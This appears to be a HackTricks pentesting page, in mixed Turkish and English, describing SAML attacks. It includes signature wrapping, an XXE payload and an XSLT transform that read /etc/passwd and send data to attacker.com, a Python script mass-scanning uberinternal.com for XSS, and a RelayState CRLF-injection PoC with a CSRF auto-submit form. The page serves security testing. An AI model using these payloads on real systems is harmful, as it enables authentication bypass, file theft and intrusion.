SAML Attacks

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

SAML Basics

Araç

SAMLExtractor: Bir URL veya URL listesi alıp SAML consume URL’sini döndüren bir araç.

XML round-trip

In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn’t change the data but based in that scenario, the data being checked and the original data could not be the same.

For example, check the following code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Program REXML 3.2.4 veya daha eski sürümlere karşı çalıştırıldığında bunun yerine aşağıdaki çıktıyı üretirdi:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), saldırganlar XML belgelerinin iki ayrı aşamada işlenmesinden kaynaklanan bir zafiyeti kullanır: signature validation ve function invocation. Bu saldırılar XML belge yapısını değiştirmeyi içerir. Özellikle saldırgan, XML Signature geçerliliğini bozmayacak şekilde sahte elemanlar ekler. Bu manipülasyonun amacı, application logic tarafından analiz edilen elemanlarla signature verification module tarafından doğrulanan elemanlar arasında bir uyumsuzluk oluşturmaktır. Sonuç olarak, XML Signature teknik olarak geçerli kalıp doğrulamadan geçerken, uygulama mantığı fraudulent elements’i işler. Böylece saldırgan, XML Signature’ın integrity protection ve origin authentication sağlama mekanizmalarını etkili şekilde atlatır ve tespit edilmeden arbitrary content enjekte edebilir.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

  • Strategy: A new root element containing the signature is added.
  • Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
  • Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
  • Implication: Intends to confuse the business logic into using the malicious data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
  • Implication: Similar to XSW #3 but alters the XML structure more aggressively.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
  • Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
  • Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: An Extensions element is inserted with the copied Assertion as a child.
  • Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
  • Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Burp eklentisi SAML Raider ile isteği parse edip, istediğiniz herhangi bir XSW saldırısını uygulayabilir ve başlatabilirsiniz.

XXE

If you don’t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Ayrıca Burp eklentisi SAML Raider ile bir SAML isteğinden POC üretebilir ve olası XXE ve SAML zafiyetlerini test edebilirsiniz.

Ayrıca şu konuşmayı da inceleyin: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

XSLT hakkında daha fazla bilgi için:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. Önemle belirtmek gerekir ki XSLT dönüşümleri dijital imzanın doğrulanmasından önce gerçekleştirilir. Bu, geçerli bir imza olmasa bile bir saldırının başarılı olabileceği anlamına gelir; işlemi ilerletmek için self-signed veya geçersiz bir imza yeterlidir.

Bu tür zafiyetleri kontrol etmek için bir POC burada bulunabilir; bu bölümün başında bahsedilen hacktricks sayfasında payload’ları bulabilirsiniz.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Araç

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, signature validation may not occur, making it vulnerable. It’s possibel to test this by altering the contents that are usually verified by the signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Araç

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking is a technique to test if a Service Provider (SP) properly verifies that a SAML Message is signed by a trusted Identity Provider (IdP). It involves using a *self-signed certificate to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.

Certificate Faking Nasıl Yapılır

The following steps outline the process using the SAML Raider Burp extension:

  1. Intercept the SAML Response.
  2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
  3. In the SAML Raider Certificates tab, select the imported certificate and click Save and Self-Sign to create a self-signed clone of the original certificate.
  4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
  5. Remove any existing signatures with the Remove Signatures button.
  6. Sign the message or assertion with the new certificate using the (Re-)Sign Message or (Re-)Sign Assertion button, as appropriate.
  7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion and Service Provider Target Confusion involve checking whether the Service Provider correctly validates the intended recipient of a response. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the Recipient field, found within the SubjectConfirmationData element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.

Nasıl Çalışır

For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.

The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Logout işlevinde XSS

Orijinal araştırmaya bu bağlantı üzerinden ulaşılabilir.

Directory brute forcing sürecinde, bir logout sayfası şu adreste keşfedildi:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Bu bağlantıya erişildiğinde şu adrese yönlendirildi:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

This revealed that the base parameter accepts a URL. Considering this, the idea emerged to substitute the URL with javascript:alert(123); in an attempt to initiate an XSS (Cross-Site Scripting) attack.

Mass Exploitation

From this research:

The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Bazı SAML SSO endpoint’leri RelayState’i decode edip yanıt içinde sanitasyon yapmadan yansıtır. Eğer yeni satır inject edebilir ve yanıtın Content-Type’ını override edebilirseniz, tarayıcıyı saldırgan kontrollü HTML’i render etmeye zorlayarak reflected XSS elde edebilirsiniz.

  • Idea: yansıtılan RelayState içinde newline enjeksiyonu yoluyla response-splitting’i suistimal etmek. Ayrıca genel notlar için CRLF injection bakınız.
  • Works even when RelayState is base64-decoded server-side: header/body enjeksiyonuna çözülecek bir base64 sağlayın.

Genelleştirilmiş adımlar:

  1. Yeni satırla başlayan, content type’ı HTML ile overwrite eden ve ardından HTML/JS payload’u enjekte eden bir header/body enjeksiyon dizisi oluşturun:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. Diziyi URL-encode edin (örnek):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. O URL-encoded string’i base64-encode edin ve RelayState içine koyun.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Söz dizimsel olarak geçerli bir SAMLResponse ve hazırladığınız RelayState ile hedef SSO endpoint’ine (ör. /cgi/logout) bir POST gönderin.
  2. CSRF ile dağıtım: her iki alanı da içeren cross-origin bir POST’u otomatik olarak submit eden bir sayfa host edin.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF teslimat deseni:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Neden işe yarıyor: sunucu RelayState’i decode ediyor ve yanıtın içine newline injection’a izin verecek şekilde dahil ediyor; bu da attacker’ın başlıklar ve gövde üzerinde etkide bulunmasını sağlıyor. Content-Type: text/html’i zorlamak, tarayıcının yanıt gövdesindeki attacker-controlled HTML’i render etmesine neden olur.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin